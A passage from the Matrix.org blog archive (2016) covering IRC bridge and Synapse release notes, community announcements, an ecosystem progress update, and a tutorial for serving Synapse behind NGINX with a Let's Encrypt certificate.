Much of the promise of Matrix is the ability to bridge through to other silos, and we've been gradually adding more and more bridging capabilities in.

For instance, the IRC bridge has had a complete overhaul to add in huge numbers of new features and finally deployed for Freenode a few weeks ago:

New Features:

  • Nicks set via !nick will now be preserved across bridge restarts.
  • EXPERIMENTAL: IRC clients created by the bridge can be assigned their own IPv6 address.
  • The bridge will now send connection status information to real Matrix users via the admin room (the same room !nickcommands are issued).
  • Added !help.
  • The bridge will now fallback to body if the HTML content contains any unrecognised tags. This makes passing Markdown from Matrix to IRC much nicer.
  • The bridge will now send more metrics to the statsd server, including the join/part rate to and from IRC.
  • The config option matrixClients.displayName is now implemented.
Bug fixes:
  • Escape HTML entities when sending from IRC to Matrix. This prevents munging occurring between IRC formatting and textual < element > references, whereby if you sent a tag and some colour codes from IRC it would not escape the tag and therefore send invalid HTML to Matrix.
  • User IDs starting with - are temporarily filtered out from being bridged.
  • Deterministically generate the configuration file.
  • Recognise more IRC error codes as non-fatal to avoid IRC clients reconnecting unecessarily.
  • Add a 10 second timeout to join events injected via the MemberListSyncer to avoid HOL blocking.
  • 'Frontier' Matrix users will be forcibly joined to IRC channels even if membership list syncing I->M is disabled. This ensures that there is always a Matrix user in the channel being bridged to avoid losing traffic.
  • Cache the /initialSync request to avoid hitting this endpoint more than once, as it may be very slow.
  • Indexes have been added to the NeDB .db files to improve lookup times.
  • Do not recheck if the bridge bot should part the channel if a virtual user leaves the channel: we know it shouldn't.
  • Refine what counts as a "request" for metrics, reducing the amount of double-counting as requests echo back from the remote side.
  • Fixed a bug which caused users to be provisioned off their user_id even if they had a display name set.
Meanwhile, a Gitter bridge is in active development (and in testing with the Neovim community on Gitter/Matrix/Freenode), although lacking documentation so far.

Finally, NEB - the Matrix.org bot framework is currently being ported from Python to Golang to act as a general Go SDK for rapidly implementing new bot capabilities.

There's little point in all of the effort going into bridges and bots if it's too hard for normal users to deploy them, so on the Vector side of things there's an ongoing project to build a commercial-grade bot/bridge hosted service offering for Matrix which should make it much easier for non-sysadmins to quickly add their own bots and bridges into their rooms.  There's nothing to see yet, but we'll be yelling about it when it's ready!

Conclusion

I'm sure there's a lot of stuff missing from the quick summary above - suffice it to say that the Matrix ecosystem is growing so fast and so large that it's pretty hard to keep track of everything that's going on.  The big remaining blockers we see at this point are:

  • End-to-end Encryption roll-out
  • Polishing UX on Vector - showing that it's possible to build better-than-Slack quality UX on top of Matrix
  • Bots, Integrations and Bridges - making them absolutely trivial to build and deploy, and encouraging everyone to write as many as they can!
  • Improving VoIP, especially for conferencing, especially on Mobile
  • Threading
  • Editable messages
  • Synapse scaling and stability - this is massively improved, but there's still work to be done.  Meanwhile projects like Ruma give us hope for light at the end of the Synapse tunnel!
  • Spec refinements - there are still a lot of open spec bugs which we need to resolve so we can declare the spec (and thus Matrix!) out of beta.
  • More clients - especially desktop ones; helping out with Quaternion, Tensor, PTO, etc.
...and then all the pieces of the jigsaw will finally be in place, and Matrix should hopefully fulfil its potential as an invaluable, open and decentralised data fabric for the web.

Thanks, once again, to everyone who's been supporting and using Matrix - whether it's by hanging out in the public chatrooms, running your own server, writing your own clients, bots, or servers, or just telling your friends about the project.  The end of the beginning is in sight: thanks for believing in us, and thank you for flying Matrix.

Matthew, Amandine & the Matrix Team.

 

Appendix: The Missing Synapse Changelogs

Changes in synapse v0.16.1 (2016-06-20)

Bug fixes:

  • Fix assorted bugs in /preview_url (PR #872)
  • Fix TypeError when setting unicode passwords (PR #873)
Performance improvements:
  • Turn use_frozen_events off by default (PR #877)
  • Disable responding with canonical json for federation (PR #878)

Changes in synapse v0.16.1-rc1 (2016-06-15)

Features: None

Changes:

  • Log requester for /publicRoom endpoints when possible (PR #856)
  • 502 on /thumbnail when can't connect to remote server (PR #862)
  • Linearize fetching of gaps on incoming events (PR #871)
Bugs fixes:
  • Fix bug where rooms where marked as published by default (PR #857)
  • Fix bug where joining room with an event with invalid sender (PR #868)
  • Fix bug where backfilled events were sent down sync streams (PR #869)
  • Fix bug where outgoing connections could wedge indefinitely, causing push notifications to be unreliable (PR #870)
Performance improvements:
  • Improve /publicRooms performance (PR #859)

Changes in synapse v0.16.0 (2016-06-09)

NB: As of v0.14 all AS config files must have an ID field.

Bug fixes:

  • Don't make rooms published by default (PR #857)

Changes in synapse v0.16.0-rc2 (2016-06-08)

Features:
  • Add configuration option for tuning GC via gc.set_threshold (PR #849)
Changes:
  • Record metrics about GC (PR #771, #847, #852)
  • Add metric counter for number of persisted events (PR #841)
Bug fixes:
  • Fix 'From' header in email notifications (PR #843)
  • Fix presence where timeouts were not being fired for the first 8h after restarts (PR #842)
  • Fix bug where synapse sent malformed transactions to AS's when retrying transactions (Commits310197b, 8437906)
Performance Improvements:
  • Remove event fetching from DB threads (PR #835)
  • Change the way we cache events (PR #836)
  • Add events to cache when we persist them (PR #840)

Changes in synapse v0.16.0-rc1 (2016-06-03)

Version 0.15 was not released. See v0.15.0-rc1 below for additional changes.

Features:

  • Add email notifications for missed messages (PR #759, #786, #799, #810, #815, #821)
  • Add a url_preview_ip_range_whitelist config param (PR #760)
  • Add /report endpoint (PR #762)
  • Add basic ignore user API (PR #763)
  • Add an openidish mechanism for proving that you own a given user_id (PR #765)
  • Allow clients to specify a server_name to avoid 'No known servers' (PR #794)
  • Add secondary_directory_servers option to fetch room list from other servers (PR #808, #813)
Changes:
  • Report per request metrics for all of the things using request_handler (PR #756)
  • Correctly handle NULL password hashes from the database (PR #775)
  • Allow receipts for events we haven't seen in the db (PR #784)
  • Make synctl read a cache factor from config file (PR #785)
  • Increment badge count per missed convo, not per msg (PR #793)
  • Special case m.room.third_party_invite event auth to match invites (PR #814)
Bug fixes:
  • Fix typo in event_auth servlet path (PR #757)
  • Fix password reset (PR #758)
Performance improvements:
  • Reduce database inserts when sending transactions (PR #767)
  • Queue events by room for persistence (PR #768)
  • Add cache to get_user_by_id (PR #772)
  • Add and use get_domain_from_id (PR #773)
  • Use tree cache for get_linearized_receipts_for_room (PR #779)
  • Remove unused indices (PR #782)
  • Add caches to bulk_get_push_rules* (PR #804)
  • Cache get_event_reference_hashes (PR #806)
  • Add get_users_with_read_receipts_in_room cache (PR #809)
  • Use state to calculate get_users_in_room (PR #811)
  • Load push rules in storage layer so that they get cached (PR #825)
  • Make get_joined_hosts_for_room use get_users_in_room (PR #828)
  • Poke notifier on next reactor tick (PR #829)
  • Change CacheMetrics to be quicker (PR #830)

Changes in synapse v0.15.0-rc1 (2016-04-26)

Features:
  • Add login support for Javascript Web Tokens, thanks to Niklas Riekenbrauck (PR #671,#687)
  • Add URL previewing support (PR #688)
  • Add login support for LDAP, thanks to Christoph Witzany (PR #701)
  • Add GET endpoint for pushers (PR #716)
Changes:
  • Never notify for member events (PR #667)
  • Deduplicate identical /sync requests (PR #668)
  • Require user to have left room to forget room (PR #673)
  • Use DNS cache if within TTL (PR #677)
  • Let users see their own leave events (PR #699)
  • Deduplicate membership changes (PR #700)
  • Increase performance of pusher code (PR #705)
  • Respond with error status 504 if failed to talk to remote server (PR #731)
  • Increase search performance on postgres (PR #745)
Bug fixes:
  • Fix bug where disabling all notifications still resulted in push (PR #678)
  • Fix bug where users couldn't reject remote invites if remote refused (PR #691)
  • Fix bug where synapse attempted to backfill from itself (PR #693)
  • Fix bug where profile information was not correctly added when joining remote rooms (PR #703)
  • Fix bug where register API required incorrect key name for AS registration (PR #727)

Kamailio World 2016

2016-05-23 — General — 
kamailio-world-banner-2016-300x134

Last week I went to Kamailio World 2016 in Berlin to meet fellow VoIP-developers and tell them all about Matrix. It's a fairly small conference, which is actually quite nice as it means you get to talk to almost everyone. A lot of people were interested in Matrix - both new and familiar faces - in fact, some of them heard about Matrix a year ago at Kamailio World 2015 and were interested in hearing what progress we've made since.

As always, Matrix participated in James Body's dangerous demos session - and I also gave a 30min talk on Matrix and recent updates to a full room on the first day of the conference.

Several people mentioned that Matrix could be interesting to their project, either as a glue between services, or for adding text-based chat to VoIP apps. I hope to see some of you in Matrix at some point - please join us in #matrix:matrix.org and say hi! It's also a good place to ask questions and discuss how Matrix can work with your project. Auf Wiedersehen!

Announcing the Matrix GSoC'ers!

2016-04-25 — General — 

Congratulations to Aviral Dasgupta and Will "Half-Shot" Hunt who will be working with Matrix for their Google Summer of Code projects!

As mentioned, picking two projects out of all our proposals was no easy task. However, we now look forward to getting started, and we are sure Aviral and Half-Shot will help make Matrix even better over the next few months!

Aviral will be developing a flexible plugin system to facilitate integrating various services such as github/trello/duckduckgo with Matrix. Meanwhile, Half-Shot will be looking at adding features on top of Matrix - infact, he's already built a MPD DJ bot and started working on a .NET SDK. Aviral too, has been committing various enhancements already.

According to Google's GSoC timeline we are currently in the "Community Bonding" phase, which lasts till May 22, 2016 - which is when the projects formally kick off.

We're looking forward to seeing what awesome things Aviral and Half-Shot come up with!

GSoC update

2016-04-22 — General — 

As previously announced, Matrix is participating in Google Summer of Code (GSoC) 2016. We have had a lot of interest: lots of people joining Matrix to talk to us about their project ideas and a total of 38 project proposals. We have even had some code contributions to our various projects from people who discovered Matrix via GSoC!

It's our first year as a GSoC mentoring organisation and we were only allocated two project slots. This means that we had the tough decision of choosing between some really good projects - and that means a lot of you who applied will unfortunately be left feeling disappointed. Selecting our two projects was very difficult, and we talked it over until we all agreed. Please remember that not being picked does not mean that your proposal was bad.

If you missed out on a GSoC slot this year, that doesn't have to stop you from contributing, either by hacking on your own project or contributing to an existing Matrix project. It's a great way to hone your programming skills and we'll be more than happy to help out and support you - find us in #matrix:matrix.org and #matrix-dev:matrix.org.

All the best from the Matrix team and good luck to everyone in their summer projects, whether GSoC or not!

TADHack-mini London

2016-03-31 — General — 
tadhack-2016-mini-london-banner

It's soon time for the 2nd TADHack-mini London. The event starts at 10am on Saturday April 9th and hacking continues until the projects are pitched, starting at 1pm on Sunday April 10th. As you can see by the many previous TADHacks, every hackathon brings interesting and impressive projects, so we are again expecting great things!

As usual, there are great prizes to be won - worth around $5k in total. This time, we will award the best Matrix-related hack a PhantomX AX Metal Hexapod Mark III from Trossen Robotics, a build-it-yourself hexapod robot kit! The robot is built on an entirely open source platform, complete with 3D cad models of the robot, open software, and schematics for the electronics.

hexeh-big2

If you're planning to attend TADHack-mini London: see you there! If not - why aren't you? Consider spending a day and a half hacking on some cool technologies - it could be well worth your time!

You can be one step ahead by getting acquainted with the Matrix C-S API or the AS API. And if you have any questions - or want to discuss potential hacks - please come talk to us in #matrix:matrix.org!

The Matrix Spring Special!

2016-03-26 — General — 

It's been 3 months since the Matrix Holiday Special and once again we've all been too busy writing code to put anything that detailed on the blog. So without further a do here's a quick overview of how things have progressed so far in 2016!

Home servers


Synapse

Work on Synapse (our reference homeserver) has been primarily focused on improving performance. This may sound boring, but there's been a huge amount of improvement here since synapse 0.12 was released on Jan 4. Synapse 0.13 on Feb 10 brought huge CPU savings thanks to a whole fleet of caching and other optimisation work - the best way of seeing the difference here is to look at the load graph of the server that hosts matrix.org's synapse+postgres over the last few months:

matrix-org-load

Ignoring the unrelated blip during March, you can see an enormous step change in system load (which had a matching decrease in actual CPU usage) at the beginning of Feb when the 0.13 optimisations landed on matrix.org :)

Meanwhile, Synapse 0.14 is due any day now with 0.14.0-rc2 released on Wednesday. Here, the focus has been all about memory optimisation - anyone who's run a Synapse seriously will be aware that it can be a memory hog thanks to aggressively caching as much state and history in RAM as possible to avoid hitting the database and keeping everything responsive. 0.14 should improve memory usage just as dramatically as 0.13 improved CPU utilisation - introducing a quick-and-dirty SYNAPSE_CACHE_FACTOR environment variable that lets admins dial down the aggressiveness of the caching (at the expense of performance), but more interestingly implementing string interning and ensuring that events are cached by ID rather than duplicated across multiple caches in order to make memory usage more efficient. It's too early to have impressive looking graphs, and there are still a few memory spikes being tracked down before we release 0.14, but we're hoping for at least a 50% reduction in memory footprint.

Featurewise the highlights include: server-generated unread notification & highlight counts and push badge support, lots of support and refinements for guest access and 3rd party ID invites. Meanwhile we've finally fixed some of the most embarrassing long-standing missing features such as letting folks logout serverside(!), delete aliases and determine whether rooms should be published in the room directory or not.

Finally, Synapse is now part of FreeBSD Ports thanks to Brendan Molloy, and NixOS thanks to Robin Lambertz! Huge thanks to them for contributing the packages to the respective OSes and to all the other synapse package maintainers out there!

It's incredibly exciting to see Synapse's maturity improving and hitting the optimisation stage of its life; huge kudos to Erik for spearheading the optimisation work. We strongly recommend folks upgrade to 0.14 when it's available; it's never been a better time to run a homeserver! :D


Dendron

Meanwhile, Dendron (our next generation homeserver) development has been progressing interestingly: we finished an initial spike to get a Golang skeleton server in place, albeit one that delegates most of the endpoints through to Synapse. In fact, matrix.org itself has been running via Dendron since February!

The whole point of Dendron is to provide an architecture where we can split apart the various endpoints that Synapse provides today, re-implementing them where appropriate in Golang, and critically letting the endpoints scale horizontally with clusters of backend servers abstracted by the single Dendron API facade. As a result, most of the Dendron work has actually ended up going into restructuring Synapse such that multiple Synapses can be run in a cluster behind a single Dendron, allowing us to horizontally scale API endpoints at last. This takes the form of adding cluster replication support to Synapse. This is still work-in-progress as we go through fixing up more and more state to be replicable (replicatable?) between synapses - hopefully it should land in the Synapse 0.15 timeframe. And then we enter a very very interesting new world of horizontally scalable homeservers...


Ruma

Ruma has also seen some progress over the last few months - Ruma is an independent Rust language homeserver project led by Jimmy Cuadra, and whilst in early development still (currently focusing on the user login and registration system) shows a lot of promise. Lots of work has ended up going into the required Rust dependencies rather than the Matrix code itself, but if you're interested in Rust then please drop by #ruma:matrix.org or #ruma on Freenode and say hi!


Clients

Whilst homeserver development is mainly all about performance and scaling work currently, the client side of the Matrix ecosystem is the polar opposite - with lots of rapid progress on exciting new clients happening from all over the community.


Perpetually Talking Online (PTO)

PTO has evolved enormously since Torrie Fischer first revealed it at the end of 2015. PTO is an independent project that acts as a Matrix client that exposes an IRC server interface - effectively turning any Matrix homeserver into an ircd; letting folks hook their favourite IRC clients directly into Matrix and use it as an enormous decentralised IRC network. (N.B. this is not to be confused with matrix-appservice-irc, which acts as a server-side bridge between Matrix rooms and IRC channels.) Obviously you lose some of the Matrix specific features (read receipts, typing notifs, VoIP, etc) but there's clearly a huge benefit for the IRC community to be able to use Matrix as if it were an IRC network.

There have been three releases so far, with the v0.3.0 ("Carburetor") release in March being tantalisingly close to being usable for everyday purposes. We actually have pto.matrix.org all set up and ready to go as an IRC frontend for the matrix.org homeserver and once issue #60 is resolved we'll be turning it on :)

There's one catch though - XChat was never quite built to handle the hundreds of rooms that we've got used to Matrix supporting... :D

Screen Shot 2016-03-26 at 00.17.08

Come hang out in #pto:oob.systems if you're interested in PTO!


Quaternion

Quaternion is a new Qt/QML/C++ desktop client created by Felix Rohrbach. It's a fairly early alpha but still quite usable and in very active development. #quaternion:matrix.org is the place to talk all things Quaternion :)

quaternion

matrix-glib-sdk

Meanwhile, over on the GTK side of the world, Gergely Polonkai has been been making great progress on his matrix-glib-sdk Glib client SDK for Matrix. The end goal here is to implement a full Telepathy plugin for Matrix on top of the SDK. Originally written in C, but now shifted to Vala, the SDK is in very active development and now implements all(?) of the Matrix client-server API - a snapshot of the work-in-progress SDK API docs can be found at http://gergely.polonkai.eu/matrix-glib-sdk. Next up is a formal release and building out clients on top!


matrix-react-sdk, matrix-ios-sdk, matrix-android-sdk and Vector

Finally, huge amounts of time and effort have continued to be pumped into the official matrix-react-sdk, matrix-ios-sdk and matrix-android-sdk - driven substantially by requirements for Vector, the FOSS Matrix-powered collaboration app that we've been helping with:


Screen Shot 2016-03-21 at 14.39.16

android-vectorScreen Shot 2016-03-26 at 00.58.48


The best way of seeing what's been going on here is probably by considering Vector itself, which is currently in formal beta (0.4.1 for web, 0.1.2 for iOS and #116 on Android). The big news includes:

  • Beta iOS and Android apps. These are early beta but feedback is very much appreciated - the Android beta can be downloaded from Jenkins; if you want to help beta iOS via TestFlight, come ask on #ios:matrix.org.
  • Guest access. Anyone can jump straight into Matrix by going to http://vector.im without even having to sign up for an account. Guests are quite restricted on what they can do (and can only join rooms which explicitly have guest access enabled), but this is a *huge* improvement in getting folks using Matrix.
  • Ability to jump to any message ever - e.g. when clicking through search results or when permalinking a message... using precisely the same UI that you use when chatting. Permalinks are awesome. If you want to randomly jump back in time to the first weeks of #matrix:matrix.org, now you can...
  • Read Markers, scrolling that remembers the scroll offset per-room, and the ability to jump to unread messages
  • Synchronised missed notification and missed highlighted notification information per-room
  • Badge counts for unread notifications
  • Entirely reworked Room Settings
  • Entirely reworked User Settings, including push notification configuration
  • Entirely reworked Room Directory
  • Lots of performance improvements
  • Much improved inviting by email
  • Much improved reliability on video conferencing
  • Closing literally hundreds and hundreds of bugs...

All that remains right now is yet more bugfixing and incorporating feedback from the current betas! Please give as much feedback as possible in #vector:matrix.org :)


Bridges & Bots

Bridges, bots, and other integrations and application services have inevitably taken slightly lower priority whilst we've been focusing on the core server and client bits of the ecosystem. However, as of March we've started a major new project to get these moving again, starting with a big update to the IRC Bridge. This is due to be released next week, but you can get a sneak peek at what's going into the release at the commit log. Highlights include the ability to persist nicks; connect via IPv6; improve formatted message handling; actually feed error messages from IRC back to Matrix; and much much more.

matrix-appservice-verto also got some love, which means that multiway video conferencing powered by FreeSWITCH now works reliably. The quality still could be improved, but the unreliable call setup that plagued earlier versions is now fixed.

In the next few months we're expecting to see a lot more activity on bridges & bots... watch this space :)

Update Sat March 26:

Totally forgot to mention a few of the key new bridges which have been contributed by the community this year - particularly interesting are the Rocket.Chat<->Matrix bridge written by Sing-Li over at Rocket.Chat which provides basic bridging between the awesome Rocket.Chat collaboration app and the wider Matrix ecosystem. It's early days, but this is incredibly promising for 'hardcoded' bridging between specific rooms - it just needs Rocket.Chat to support 'virtual' users and will then be seamless federation.

Similarly, matrix-appservice-gitter is a Gitter<->Matrix bridge built by Leonerd on top of the matrix-appservice-bridge Node library. Again, it's early days but is working well for 'hardcoded' bridging - supporting dynamic rooms and users is next on the todo list :)


The Spec

We started our formal release process for the spec just before Christmas with r0.0.0 - and released r0.0.1 in January with minor clarifications and updates. In practice the spec feels quite stable right now, although things have moved on a bit since January and r0.0.2 is definitely overdue at this point.

In the meantime, you can always get the very latest bleeding edge copy of the spec via the speculator. We've also added an initial cut at a spec for the Identity Service at last.


Events

We've been focusing on writing code than evangelising Matrix recently, although we did get out to FOSDEM 2016 and TADHack Mini Japan and WebRTC Conference and Enterprise Connect 2016 where we showed off Matrix & Vector in the WebRTC Real World Innovation showcase.


GSoC

We are incredibly grateful to have been accepted as an organisation into Google Summer of Code 2016! The last two weeks have been the window for students to propose projects to us that they could work on over the course of the summer, and it's been fascinating to meet the GSoCers and see a whole new community pop up on Matrix and advise and mentor applicants through their proposals. At the last count we've received 35 proposals, many inspired by our list of ideas, including some really impressive candidates - many thanks to all the students who have applied to us. We don't know yet how many slots Google will allocate to us, but one way or another we're really looking forward to helping the GSoCers make the most out of their summer of Matrix! All GSoC discussion is happening in #gsoc:matrix.org.


What's next?

In no particular order, the urgent stuff that still remains includes:

  • Continuing to polish synapse and build out dendron-based clustering
  • Building as many bridges, bots and other integrations as possible
  • The matrix.to URL-handler service: having client-agnostic https://matrix.to/#matrix:matrix.org URLs to help with sharing matrix room aliases etc
  • End-to-end crypto. No progress since December; we need to get back to it asap.
  • Exiting Vector from beta
  • Finishing the server-to-server API specification
  • Improving the security model for access_tokens
  • Editable messages
  • Pinned, tagged, and 'liked' messages
  • Threading
  • Decentralised accounts
  • Decentralised reputation

In practice, Bridging and E2E crypto is likely to get the most attention first (beyond the standard ongoing polishing). There's obviously a significant amount of work there, but we expect to see benefits pretty quickly throughout Matrix - especially from bridging. Hopefully it's true to say that the next few months should be quite transformational :D

Anyway, thanks for reading this sprawling update and for supporting Matrix. And please come say hi in #matrix:matrix.org if you have any questions :)

  • Matthew, Amandine & the Matrix.org team.

Matrix in Google Summer of Code!

2016-03-08 — General — 
GSoC2016Logo

We are very happy to be one of the companies selected for Google Summer of Code (GSoC) 2016!

GSoC is a great, global opportunity for students to work on open source projects during their university summer break. The idea is for students to propose a project for any of the open source organisations picked by Google, and - if accepted - receive a stipend for working on it. We are very eager to see what projects students will propose - we have written up some ideas here, but students are expected to do some research and come up with projects themselves.

If you are a student wanting to participate in GSoC for Matrix, please come talk to us in #gsoc:matrix.org - we are happy to discuss project ideas and review application drafts. We have also added some general tips on what to include in the application here.

Applications can be submitted starting next Monday, so there's still plenty of time to have a play with Matrix and come up with a cool project idea.

Good luck!

Add Your Matrix Project

2016-02-25 — General — 

The try-matrix-now page is now being generated by jekyll and all the project pages have been moved to the matrix-doc project on github.

The idea is to make it very easy for anyone to add or update a project entry. All you need to do is to submit a PR with the project details; feel free to start with the template, and you can also add images (thumbnail and/or a main picture for the project page) to the images subfolder (just use the same relative URL that is in the template). Any kind of project using Matrix is welcome; if you are unsure which category to use, just use "other".

Jekyll requires a date in the project filename; we use the date to sort the various project lists (newest projects first). It might be best to submit new entries with a date like 2015-01-01.

Any questions or comments? Come talk to us in #matrix:matrix.org!

Android Matrix Console 0.5.3

2016-02-16 — General — 

We have put an updated version of the Android Matrix Console app (v0.5.3) on the Play store!

This release mainly includes performance improvements, such as using the new "V2" sync API, and other optimisations which should make your user experience a lot nicer. There's also a few new features in the SDK (e.g. tags support) - these will be added to the app hopefully soon.

For the full list of changes, look at the CHANGES files in the android console and SDK projects

Get it from the Google play store!

Enjoy! And please do let us know your feedback in #matrix:matrix.org or #android:matrix.org!

Advanced Synapse setup with Let's Encrypt

2016-02-10 — General — 

So, you've installed an configured synapse and started chatting from your very own Matrix home server? What's the next step? Well, right now you're probably accessing your new home server over plaintext HTTP, which is bad, particularly because you'll be sending your password over this connection when you log in. You could connect to Synapse's secure HTTP port, but your browser won't trust it by default because you'd normally need to pay for a certificate that your browser would recognise. That is, until recently!

Let's Encrypt is a new initiative that issues SSL certificates free of charge, in an effort to make SSL universal on the Internet. In this blog post, we'll be walking through an example of how we can use this service to get ourselves a securely hosted Synapse.

We're going to assume you have a Synapse installed and listening on the standard ports, 8008 and 8448. If not, follow the Synapse README and come back here when you're done. Everybody ready? Okay, good.

So, in order to get a certificate from Let's Encrypt, we need to prove that we own our domain. The simplest way to do this is to host some special files on our web server. Now, Synapse won't do this. We could use a separate web server, but then we'd have to stop Synapse and start the other web server every time we renewed our certificate, and that means downtime. Instead, let's put our Synapse behind a proper web server and let that serve the files. This has added advantages, including that we can host our Matrix home server on the standard port 443 without having to run Synapse as root.

For this example, we're going to use NGINX, so start by installing NGINX in whatever way your Linux distribution of choice recommends.

Now, you should have a webroot for your new web server somewhere. Hopefully your helpful Linux distribution has started you off with a config file - let's see:

# nano /etc/nginx/nginx.conf

We're looking for the 'server' section of that file. We need to make it look something like this:

    server {# Make sure this is 0.0.0.0: no use listening on 127.0.0.1 or we'll only be # serving to ourselves! There's no port here, which means we'll listen on # port 80 listen 0.0.0.0; server_name example.com www.example.com; access_log /var/log/nginx/example.com.access_log main; error_log /var/log/nginx/example.com info; # This is where we put the files we want on our site root /var/www/examplecom/htdocs; # Here's where it gets interesting: This will send any path that starts # with /_matrix to our Synapse! location /_matrix {proxy_pass http://localhost:8008;}}

When you're happy with the look of that file, let's restart the server:

# nginx -s reload

Before we go any further, let's test our new configuration:

$ curl http://example.com/_matrix/key/v2/server/auto{"old_verify_keys":{},"server_name":"example.com","signatures":{"example.com":{"ed25519:auto":"RWb+w6vHUUokoDgElwG6Cg50ezZvBrzXtJmJIH8jEwI5x0JQ7prn3FwjhbgKTH5jE7J8Ily3HEc4COn4JCCvCA"}},"tls_fingerprints":[{"sha256":"DMbzSZ5Uj7/6p/RT/UtQYJLHm5o0TwBSVYXsqpDdVDs"}],"valid_until_ts":1455203001035,"verify_keys":{"ed25519:auto":{"key":"1YiTDjmE86AlmrbIYE2lyqauV9wPo8jw2kxZAZFfl/Q"}}}

Those are your server's public keys! Now we have a web server running, we can get our SSL certificate. Let's Encrypt have their own client which will automate everything including rewriting your NGINX config file, however that means it has a large number of dependencies and needs to be run as root. For this example, we're going to use the much simpler acme_tiny.py. I'm going to assume you have a user called, 'letsencrypt', so, as root, let's set up the place for it to write its challenge files:

# mkdir /var/www/examplecom/htdocs/.well-known/acme-challenge # chown letsencrypt:users /var/www/examplecom/htdocs/.well-known/acme-challenge

Now let's switch to our letsencrypt user:

$ ssh [email protected]

We'll start by getting ourselves a copy of acme_tiny.py:

$ git clone https://github.com/diafygi/acme-tiny.git

Now let's set up a directory structure (let's say we might want to manage more than one domain someday):

$ mkdir examplecom $ cd examplecom $ ln -s /var/www/examplecom/htdocs/.well-known/acme-challenge challenges

Now, we'll need to generate two keys for Let's Encrypt, and account key and a domain key. The former is what we use to identify ourselves to Let's Encrypt and the latter is the key we use to do the actual SSL.

$ openssl genrsa 4096 > letsencrypt_examplecom_account.key Generating RSA private key, 4096 bit long modulus ..++ .................................................................................................................................................................................................................................................................................................................................................................................................................++ e is 65537 (0x10001) $ chmod 600 letsencrypt_examplecom_account.key $ openssl genrsa 4096 > letsencrypt_examplecom_domain.key Generating RSA private key, 4096 bit long modulus .............++ .............................................................................................................................................................................................++ e is 65537 (0x10001) $ chmod 600 letsencrypt_examplecom_domain.key

Now, store those keys somewhere safe! After you've done that, let's generate a certificate request for our domain. Note that we're requesting one for both example.com and www.example.com: this isn't strictly necessary for Matrix but could be useful if we want to host a website too.

$ openssl req -new -sha256 -key letsencrypt_examplecom_domain.key -subj "/" -reqexts SAN -config <(cat /etc/ssl/openssl.cnf <(printf "[SAN]\\nsubjectAltName=DNS:example.com,DNS:www.example.com")) > examplecom.csr

Okay, we have our keys, our certificate request, and somewhere to host our challenge files, so we're ready to request a certificate! Be careful about this part and make sure you've got everything right, because Let's Encrypt enforce strict rate limits on the number of certificates you can request for one domain. Here we go:

$ python ~/acme-tiny/acme_tiny.py --account letsencrypt_examplecom_account.key --csr examplecom.csr --acme-dir challenges/ > examplecom.crt Parsing account key... Parsing CSR... Registering account... Registered! Verifying example.com... example.com verified! Verifying www.example.com... www.example.com verified! Signing certificate... Certificate signed!

Is that it, did it work? Well, let's see:

$ openssl x509 -in examplecom.crt -noout -text Certificate: Data: Version: 3 (0x2) Serial Number: 01:02:22:77:02:1b:eb:d5:3d:c3:14:6d:87:43:22:3d:fc:0f Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3 Validity Not Before: Feb  6 21:37:00 2016 GMT Not After : May  6 21:37:00 2016 GMT Subject: CN=example.com Subject Public Key Info: [etc]

Congratulations, you have an official, signed certificate for your domain! Now, before we can use it, we need to add the Let's Encrypt certificate to it, because our web server needs to send both:

$ wget https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem --2016-02-06 23:38:55--  https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem Resolving letsencrypt.org... 23.66.17.98, 2a02:26f0:60:489::2a1f, 2a02:26f0:60:481::2a1f Connecting to letsencrypt.org|23.66.17.98|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 1675 (1.6K) [application/x-x509-ca-cert] Saving to: ‘lets-encrypt-x3-cross-signed.pem' lets-encrypt-x3-cross-signed.pe 100%[======================================================>]   1.64K  --.-KB/s   in 0s 2016-02-06 23:38:55 (61.5 MB/s) - ‘lets-encrypt-x3-cross-signed.pem' saved [1675/1675] $ cat examplecom/examplecom.crt lets-encrypt-x3-cross-signed.pem >examplecom/examplecom_cert_chain.crt

Now's let's symlink it in place, along with the domain key, so we can renew it easily later. We'll need to be root again for this:

$ ssh [email protected] # ln -s /home/letsencrypt/examplecom/examplecom_cert_chain.crt /etc/ssl/nginx/examplecom_cert.pem # ln -s /home/letsencrypt/examplecom/letsencrypt_examplecom_domain.key /etc/ssl/nginx/examplecom_key.pem

Now, one more crucial thing we have to do before using our SSL is to give NGINX some Diffie Hellman parameters. This is a good thing to do for any SSL configuration (it will increase your score on SSL Labs) but it's absolutely crucial for us because Synapse will only negotiate forward secret connections, so otherwise other Matrix home servers will refuse to talk to us! (Technically, Synapse also support elliptic curve Diffie Hellman, which doesn't need DH parameters, but not all Synapses will support this.) You'll already have some Diffie Hellman parameters from you existing Synapse, so you could use them:

# cp /home/synapse/synapse/matrix.example.com.tls.dh /etc/ssl/nginx/examplecom_dhparams.pem

...or you can generate your own. You'll probably want to do this on your desktop or laptop if you have OpenSSL installed, it will be much faster:

$ openssl dhparam -out examplecom_dhparams.pem 2048 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time ........................................................+................[etc, etc] $ scp examplecom_dhparams.pem [email protected]:/etc/ssl/nginx/examplecom_dhparams.pem

Now, let's get our new certificate in action! Open up your NGINX config file again, and add another server block that look like this:

